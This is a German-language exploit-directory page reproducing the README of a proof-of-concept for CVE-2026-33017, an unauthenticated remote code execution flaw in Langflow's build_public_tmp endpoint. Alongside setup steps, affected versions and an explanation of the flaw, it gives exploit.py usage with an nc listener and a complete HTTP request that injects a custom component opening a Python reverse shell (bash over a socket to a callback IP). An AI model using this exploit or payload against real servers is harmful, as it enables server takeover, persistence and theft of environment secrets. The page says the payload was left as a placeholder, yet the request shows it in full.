Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33017 — Proof-of-Concept-Exploit für CVE-2026-33017, eine nicht authentifizierte RCE im build_public_tmp-Endpunkt von Langflow, die eine bösartige benutzerdefinierte Komponente einschleust, um eine Reverse Shell zu erhalten. | Kitploit
Tools/GitHubGitHub/yym8538/cve-2026-33017
SchwachstellenanalyseExploitationReverse EngineeringWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-ToolPayload-EntwicklungKI-Sicherheit
GitHubyym8538/cve-2026-33017

CVE-2026-33017

Proof-of-Concept-Exploit für CVE-2026-33017, eine nicht authentifizierte RCE im build_public_tmp-Endpunkt von Langflow, die eine bösartige benutzerdefinierte Komponente einschleust, um eine Reverse Shell zu erhalten.

1vor 1 MonatNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow Remote Code Execution PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


Environment Setup

Verwende die folgenden Befehle, um die verwundbare Langflow-Umgebung zu erstellen und auszuführen:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

How to Use the PoC

Nachdem die verwundbare Langflow-Instanz gestartet wurde, führe den PoC mit der Ziel-URL, der Public Flow ID und der Callback-Adresse des Angreifers aus.

Option A — eigenen Listener verwenden:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

Option B — den integrierten Listener mit --listen verwenden:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
OptionBeschreibung
--urlURL des Ziel-Langflow-Servers
--flow-idUUID des geteilten Public Flow
--lhostCallback-IP des Angreifers
--lportCallback-Port des Angreifers
--listenIntegrierten Listener anstelle eines externen nc verwenden

ENG

CVE-2026-33017 ist eine Remote Code Execution (RCE)-Schwachstelle im Public-Flow-Build-Prozess von Langflow, einer Open-Source-Plattform zum visuellen Erstellen von LLM-Anwendungen und KI-Workflows.
Durch das Senden manipulierter Flow-Daten an den build_public_tmp-Endpunkt ohne Authentifizierung kann ein Angreifer bewirken, dass beliebiger Python-Code auf dem Server ausgeführt wird.


Overview

CVE-2026-33017 betrifft den folgenden Public-Flow-Build-Endpunkt in Langflow, einer Open-Source-Plattform zum visuellen Erstellen von LLM-Anwendungen und KI-Workflows.

POST /api/v1/build_public_tmp/{flow_id}/flow

Ein Public Flow in Langflow ist dafür konzipiert, über einen Link oder einen ähnlichen Mechanismus mit anderen Benutzern geteilt zu werden.
Um diese Funktion zu unterstützen, bereitet der Build-Endpunkt den Flow ohne Authentifizierung für die Ausführung vor, indem er die Nodes, Edges und Einstellungen des Flows liest und anschließend den internen Ausführungsgraphen erstellt, der für dessen Ausführung erforderlich ist.

Das Problem bestand darin, dass verwundbare Versionen von build_public_tmp nicht nur die auf dem Server gespeicherten Public-Flow-Informationen akzeptierten, sondern auch das im Request-Body übergebene data-Feld.

Dieses data-Feld konnte die gesamte Flow-Definition enthalten, einschließlich:

  • der Liste der Nodes
  • der Verbindungen zwischen den Nodes
  • detaillierter Konfigurationswerte für jeden Node
  • Templates und Custom-Component-Daten, die für die Ausführung erforderlich sind

Infolgedessen konnte ein Angreifer eine unauthentifizierte Anfrage nutzen, um eine vollständig angreifergesteuerte Flow-Struktur einzuschleusen, anstatt sich auf den legitimen, auf dem Server gespeicherten Public Flow zu verlassen.

Ein besonders gefährlicher Teil dieses Designs ist die Custom Component-Funktion.
In Langflow repräsentiert eine Komponente einen einzelnen funktionalen Block, der für Aufgaben wie Eingabeverarbeitung, Modellaufruf oder Ausgabegenerierung verantwortlich ist. Eine Custom Component ist ein erweiterbarer Block, der es Benutzern ermöglicht, sein Verhalten direkt in Python-Code zu definieren.

Ein Angreifer konnte daher eine Custom Component mit bösartigem Python-Code in das manipulierte data-Objekt einbetten, und der Server verarbeitete sie, als wäre sie ein normaler Teil des Flows. Infolgedessen konnte der eingeschleuste Code während des Build- oder Ausführungsprozesses geparst und ausgeführt werden, was letztendlich zu Remote Code Execution führte.


Affected Versions

KategorieVersion
VerwundbarLangflow vor 1.9.0
GepatchtLangflow 1.9.0 und später

Die GitHub Security Advisory gibt den betroffenen Bereich als <= 1.8.2 an, aber der Fix — die Entfernung des data-Parameters — wurde in 1.9.0 eingeführt. Alle Releases vor 1.9.0 (einschließlich 1.8.3 / 1.8.4) sind daher betroffen, weshalb der CVE Record < 1.9.0 angibt.


Impact

Eine erfolgreiche Ausnutzung dieser Schwachstelle kann es einem Angreifer ermöglichen, die Kontrolle über den Langflow-Server zu übernehmen und Folgeaktionen wie die folgenden durchzuführen:

  • Erlangen einer Shell auf dem Server
  • Exfiltrieren von Umgebungsvariablen oder anderen sensiblen Informationen
  • Installieren zusätzlichen bösartigen Codes und Etablieren von Persistenz

Proof of Concept

Der folgende PoC demonstriert CVE-2026-33017 auf Langflow 1.8.1.

1) Identifizieren der Public Flow ID

Der Angreifer identifiziert zunächst die flow_id eines Ziel-Public-Flows.

Identify the Public Flow ID

2) Senden einer Build-Anfrage mit einer bösartigen Custom Component

Der Angreifer sendet eine build_public_tmp-Anfrage, die eine Custom Component einschleust, deren Python-code während des temporären Builds auf dem Server ausgeführt wird. In der folgenden Anfrage ist der code-Wert als Platzhalter belassen — füge die Payload selbst ein (siehe Hinweis unter der Anfrage).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) Erlangen einer Shell

Während des Build-Prozesses wird der in der Custom Component eingebettete Code auf dem Server ausgeführt. Wenn die Reverse-Shell-Variante (automatisiert durch exploit.py) verwendet wird, wird eine Verbindung zum Listener des Angreifers hergestellt, wodurch der Angreifer eine interaktive Shell erhält, um beliebige Befehle auf dem Server auszuführen.

Gain a Shell


Technical Analysis

Obwohl build_public_tmp dafür gedacht war, Public Flows zu bauen, akzeptierten verwundbare Versionen weiterhin ein data-Feld direkt aus dem Request-Body.

Tool herunterladen